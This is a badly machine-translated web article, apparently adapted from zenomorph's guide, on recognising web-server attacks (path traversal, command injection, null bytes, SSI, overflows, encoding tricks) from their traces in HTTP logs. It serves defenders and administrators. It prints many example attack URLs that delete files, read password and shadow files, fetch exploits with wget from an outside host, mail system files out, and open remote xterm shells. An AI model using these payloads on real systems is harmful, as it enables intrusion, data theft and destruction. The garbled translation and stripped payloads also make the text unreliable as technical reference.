Web site default 80 is the service port, about it
Security issues continue to release, these
Some of the vulnerabilities and even allow attackers to get the permissions of the system administrator to enter the site inside, the following is the research of zenomorph's traces of some 80-port attack methods, and tell you how to find problems from logging.
[Detailed Description]
The following sections show the general attacks of the web server and the applications on the web server, and the traces left, these lays are merely representative, and there is no list of all attack forms. Each attack is described in detail, and how it uses these vulnerabilities to attack.
(1) "" "" "" "" and "..." request
These attack marks are very common for web applications and web servers, which are used to allow attackers or worms.
The viral program changes the path to the web server to get an un disclosed area. Most CGI program vulnerabilities contain these ".." requests.
EXAMPLE:
http://host/cgi-bin/lame.cgi? file = .. / .. / .. / .. / etc / motord
This list shows the attacker requests MOSD file. If an attacker has the ability to break through the root directory of the web server, then more information can be obtained and privileged.
(2) "% 20" request
% 20 is a 16-way value representing spaces, although this does not mean what you can use, but when you browse the log, you will find it, this character may be valid in some applications running on the web server. So, you should look carefully. On the other hand, this request can sometimes help do some commands.
EXAMPLE:
http://host/cgi-bin/lame.cgi? Page = LS% 20-Al
This List showed an attacker to execute a UNIX command, listing the request for the entire directory, causing an attacker to access important files in your system to help him further obtain privilege conditions.
(3) "% 00" request
% 00 represents a 16-based empty byte, he can be used to fool web applications and request different types of files.
EXAMPLES:
http://host/cgi-bin/lame.cgi? Page = Index.html
This may be a valid request on this machine. If the attacker notes the request movement, he will find the problem of this CGI program.
http://host/cgi-bin/lame.cgi? Page = .. / .. / .. / .. / etc / motd
Perhaps this CGI program does not accept this request because it is to check the suffix name of this request file, such as html.shtml or other type of file. Most programs will tell you that the file type requested is invalid. At this time it will tell the attacker's request to be a file type of a character suffix, so that the attacker can get the path of the system, the file name, leading to Your system gets more sensitive information
Http://host/cgi-bin/lame.cgi? Page = .. / .. / .. /. / etc / motd% 00HTML
Note this request, it will defraud the CGI program to think that this file is a certain acceptable file type, some applications are a commonly used method for attackers due to stupid checkup.
(4) "Request
This is a pipe character, in the UNIX system to help help multiple system commands simultaneously in a request.
EXAMPLE:
# Cat Access_log grep -i ".."
(This command will display ".." request in the log, commonly used to discover an attacker and worm attacks, often see a lot of web applications with this character, which also leads to an incorrect alarm in the IDS log.
In your program carefully, this is good, you can reduce the wrong alert
Intrusion detection system.
Some Listings are given below:
Http: //host/cgi-bin/lame.cgi? Page = .. / .. / .. / .. / bin / ls
This request command is executed, below is some changing list
http://host/cgi-bin/lame.cgi? Page = .. / .. / .. / .. / bin / ls% 20-AL% 20 / ETC
This request lists all files in the / etc directory in the UNIX system
http://host/cgi-bin/lame.cgi? Page = CAT% 20Access_log grep% 20-i% 20 "Lame"
The execution of this request CAT command and the grep command will also be executed, and "Lame"
(5) ";" request
In UNIX systems, this character allows multiple commands to execute in one line.
EXAMPLE:
# id; uname -a
(After executing the id command, follow the execution uname command)
Some web programs use this character that may result in alert in your IDS log, you should carefully check your web program, which makes your IDS alert failure.
(6) "<" and ">" request
You should check these two characters in your logging, in many reasons, the primary one is this character indicating that adding data in the file.
EXAMPLE 1:
# echo "Your Hax0red H0 H0" >> / etc / motd (request write information in mott file)
An attacker can easily tamper with this asking for your web page. For example, the famous RDS Exploit is often used by an attacker to change the web main page.
EXAMPLE 2:
http://host/something.php=
Hi% 20MOM% 20IM% 20Bold!
You will notice the html language sign, he also uses "<", ">" characters, this attack cannot cause an attacker to access the system, it confuses that this is a legal information in the Web site (cause When visiting the address of the attacker when visiting this connection, this request may be converted into a 16-en-encoded character form, so that the traces of the attack are not so obvious)
(7) "!" Request
This character requests a common language to attack SS (Server Side Include) i, if the attacker confuses the user clicks the link to be set by the attacker, and the same.
EXAMPLE:
http://host1/something.php=
This list is an attacker may do, which makes the file on a Host2 site look from Host1 (of course, the visitor needs to access the attacker settings. This request may be converted into 16 Encourage coding camouflage, not easy to discover)
At the same time, this way can also be executed with the permissions of the Web site
EXAMPLE:
http://host/something.php=
This list executes the "ID" command on the remote system, which will display the ID of this web site user, usually "nobody" or "www"
This form also allows you to include hidden files.
EXAMPLE:
http://host/something.php=
This hidden file .htpasswd will not be displayed, the rules established by Apache will reject this .ht formal request, while the SSI flag will bypass this limit and lead to security issues (8) "
This attack is used to insert a PHP program in a remote web application, which may allow commands, depending on the server settings, and other factors such as PHP settings to security mode)
EXAMPLE: http://host/something.php=
In some simple PHP applications, it may execute local commands on the remote system with Web site users.
(9) "` "request
This character is often used in Perl executing commands, which is not often used in the web application, so if it sees it in your log, it should be very careful.
EXAMPLE:
http:// host / something.cgi = `ID`
A PERL writes a problematic CGI program that causes the ID command
[Further]
The following section will discuss how many attackers may perform, along with the requested file, and if you have a defect in the command, you should find it. This part just gives you a good idea and tells you what happens, an attacker tries to attack your system's traces, but does not list the commands and requests for all attackers.
"/ bin / ls"
This command requests the entire path, which has this vulnerability in many web applications. If you see this request in many places in the log, a lot of possibilities are the remote execution command vulnerability, but it is not necessarily a problem. It may also be a wrong alert. Once again, write a good Web application (CGI, ASP, PHP ... etc) is the basis of security
EXAMPLE:
Http://host/cgi-bin/bad.cgi? doh = .. / .. / .. /. / bin / ls% 20-al
Http://host/cgi-bin/bad.cgi? DOH = LS% 20-Al;
"cmd.exe"
This is a Windows shell, an attacker access and runs this script, can do anything on the Windows machine under the server settings, and many worms are transmitted to the remote machine through the 80-port.
http://host/scripts/something.asp=../../winnt/sys tem32 / cmd.exe? DIR E:
"/ bin / id"
This is a 2-way file, which is the same as / bin / ls. If you see this request in many places in the log, great possibility is that there is a remote execution command vulnerability, but it is not necessarily a problem. It may also be a wrong alert.
Which user belongs to which user belongs to?
EXAMPLE:
http://host/cgi-bin/bad.cgi? doh = .. / .. / .. / .. / bin / id
http://host/cgi-bin/bad.cgi? doh = id;
"/ bin / rm"
This command can delete files, if incorrect use is very dangerous
EXAMPLES:
http://host/cgi-bin/bad.cgi? doh = .. / .. / .. / .. / bin / rm% 20-RF% 20 *
http://host/cgi-bin/bad.cgi? doh = rm% 20-RF% 20 *;
"wget and tftp" command
These orders are often used by attackers.
Downloading files that may get further privilege, Wget is the command under UNIX, which may be used to download the backdoor program, TFTP is a command under UNIX and NT, used to download files. Some IIS worms copied their own spread viruses through TFTP to other hosts Examples:
Http://host/cgi-bin/bad.cgi? doh = .. / .. / .. / .. / path / to-wget / wget% 20http: //host2/phantasmp.c http:// Host /ci-bin/bad.cgi?doh=wget http://www.hwa-security.net/phantasmp.c;
"cat" command
This command is used to view file content, often used to read important information, such as profile, password file, credit card file, and file you can think of
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / cat% 20 / etc / motord http: // Host / CGI-BIN / BAD .cgi? DOH = CAT% 20 / etc / motord;
"echo" command
This command is often used in writing data to the file, such as "index.html"
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / echo% 20 "FC- # kiwis% 20WAS% 20HERE"% 20 >>% 200Day.txt http://host/cgi-bin/bad.cgi? Doh = echo% 20 "FC- # kiwis% 20WAS% 20HERE"% 20 >>% 200Day.txt;
"
PS "command
List the currently running process, telling the attacker remote host running
Software, so that you can get some security issues, get further permissions
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / ps% 20-aux http: //host/cgi-bin/bad.cgi ? DOH = PS% 20-AUX;
"Kill and Killall" command
In the UNIX system, this command is used to kill the process, and an attacker can use this command to stop the system service and programs, and you can wipe off the traces of the attacker. Some Exploit will generate a lot of child processes.
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / bin / kill% 20-9% 200 http: //host/cgi-bin/bad.cgi? Doh = kill% 20- 9% 200;
"uname" command
This command tells the attacker's name, some times, know which ISP is located through this command, perhaps the attacker has visited today. Usually uname -a to request, these will be recorded in the log file
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / uname% 20-a http: //host/cgi-bin/bad.cgi ? doh = uname% 20-a;
Compilation / interpretation command "CC, GCC, Perl, Python, etc ..."
The attacker downloads Exploit through WGET or TFTP, and compiles the compiler such as CC and GCC to compile the executable, further privileges
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / cc% 20phantasmp.c http: //host/cgi-bin/bad.cgi DOH = GCC% 20Phantasmp.c; ./ a.out% 20-p% 2031337; If you find "Perl" Python "in the log, you may download the remote Perl, Python script, and try to local Privilege
"Mail" command
An attacker usually uses this command to send some important files of the system to the attacker's own mailbox, and can also be an attack of the mail bomb.
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / mail% 20attacker @ 好 学 学 c c er% 20% 20 <<% 20 / etc / Motd http://host/cgi-bin/bad.cgi? doh=mail steele@jersey.whitehouse.gov <
"XTERM / Other X Application" command
XTERM is often used to get the shell on the remote machine. If you discover these symbols in your log, you must carefully analyze your system and may already have a safe crack. Note that "% 20-Display% 20" characters are found in the log, which is usually started to start XTERM or X applications on the remote machine.
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / usr / x11r6 / bin / xterm% 20-Display% 20192.168.22.1 http: // Host /ci-bin/bad.cgi?doh=xeyes -display 192.168.22.1;
"Chown, Chmod, ChGRP, Chsh, etc ..." and other orders
These commands allow for changing files permitted permission limit in UNIX systems
Chown = Allows Settings of the owner of the file CHMOD = permission to set the license permission CHGRP = Allow Group's ownership of the group for the file CHSH = Allow the user's shell
Examples: http://host/cgi-bin/bad.cgi? Doh = .. / .. / .. / .. / bin / chmod% 20777% 20INDEX.html http: // Host / CGI-BIN / BAD .cgi? DOH = CHMOD% 20777% 20INDEX.html; http://host/cgi-bin/bad.cgi? doh = .. / .. / .. / .. / bin / chown% 20zeno% 20 / ETC / master.passwd http://host/cgi-bin/bad.cgi? doh = chsh% 20 / bin / sh; http://host/cgi-bin/bad.cgi? doh = .. / .. / ../../bin/chgrp nobody /etc/shadow
"/ etc / passwd" file
This is the system's password file, which is generally shadow, and does not allow the encrypted password, but the attacker can know that those that are valid users, and the absolute path of the system, the site name and other information, because of usually Over Shadow, so on the attacker, usually view / etc / shadow file
"/etc/master.passwd"
This file is the password file of the BSD system, which contains an encrypted password. This file is just read-only on the root account, and some unskilled attackers will open the content inside him attempt to read., If the Web site is ROOT privileges, then you can read the contents of the attacker, and many questions to the system administrators will come back "/ etc / shadow"
Contains the encrypted system password, which is also read only to the root account, and /et/master.passwd is almost
"/ etc / motd"
When the user logs in to the Unix system, in this "Message of the Day" file, it provides important system information and administrators to some settings for users, those who want users to see, those are not, With systematic version information, attackers typically view this file, what system is running, for attackers, the next step is to search for this type of system of EXPLOIT, further system privileges
"/ etc / hosts"
This file provides IP addresses and network information, and attackers can learn more about network settings in the system.
"/usr/local/apache/conf/httpd.conf"
This is the configuration file of an Apache web server, and an attacker can understand if information such as CGI, SSI is accessible.
"/etc/inetd.conf"
This is the profile of the inetd service. If an attacker can understand those services on the remote machine, whether to use Wrapper to access control, if the Wrapper is run, the attacker will check "/etc/hosts.allow" and "/etc/hosts.allow" and " /etc/hosts.deny, file, and may change some settings in the inside, get privileges
".htpasswd, .htaccess, and .htgroup"
These files typically be used to authenticate the user identity, and the attacker will view these files, and get the username and password, password file .htpasswd is encrypted, decrypt by some simple crack programs, so that the attacker access site The protected area (usually the user uses the same password as the user name, so that the attacker can access other accounts)
"access_log and error_log"
These are the log record files of the Apache server, and the attacker often views these files to see those requests record, those who have different requests.
Typically, an attacker will modify these log files, such as his own address information, an attacker breaks through your system through the 80-port, and your system is not going.
Backup work, there is no other recorder record system status, which will make the intrusion detection work is very difficult
"[Drive-Letter]: Winntrepairsam._ or [Drive-Letter]: Winntrepairsam"
Password file in the Windows NT system, if the remote command cannot be executed, usually the attacker will request these files, and then crack the password crack tool with the "L0PHT CRACK", if the attacker tries to attack the Administrator's password file, if successful Then the remote machine will be controlled by the attacker
[Overflow Analysis]
I won't say much about overflowing topics in this article, I will mention those places and traces worth noting and special attention, and buffer attacks are often not easy to discover by the attackers through coded conversions and other ways.
Here is a simple list
Example: http: // host / cgi-bin / helloworld type = AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA Liezi shows the attacker sends a lot of A for an application? Character, to test the buffer overflow of the program, the buffer can get the command execution permission of the remote host, if it is a program with the setuid and the owner to root, through overflow, you can get access to the entire system, if not the setuid, the program , Then overflow is just user permissions that run the Web site
Here is all the cases, but you should check your log files, if you suddenly discover a lot of requests that day, the usual request is not much, then you are suffering from overflow attacks, of course it may be A new network worm attack
[Code Conversion]
All attack requests mentioned above, an attacker usually knows that the IDS system is often mechanically checking these requests, usually the attacker will convert the requested content into a 16-en-generated format using the encoded conversion tool, causing IDS to ignore these requests. Our well-known CGI vulnerability scan tool whisker is a very good list. If you find a lot of 16 credits and uncommon characters while viewing the log, you may try to attack your system with some ways.
A quick discovery method is to copy the 16 binders in your log file to you
In the browser, through the browser can be converted to the correct request, and display the content requested. If you don't dare to take this danger, simple Man ASCII can provide you with the correct encoding.
[in conclusion]
This article cannot cover all 80-port attacks, but there are already most universal attacks, and tell you how to check your log files, and how to add the rules of some IDs, write her purpose lies in giving Web system administrators should pay attention to what provides a good idea, and I also hope that this article can help the developers of the web program to write better web programs.
Outlook and in-depth understanding of intelligent client development technologies and corporate case analysis, will be kicked off in 6 cities. Come and register!
[Back to Channel Home] [Close Window]
related articles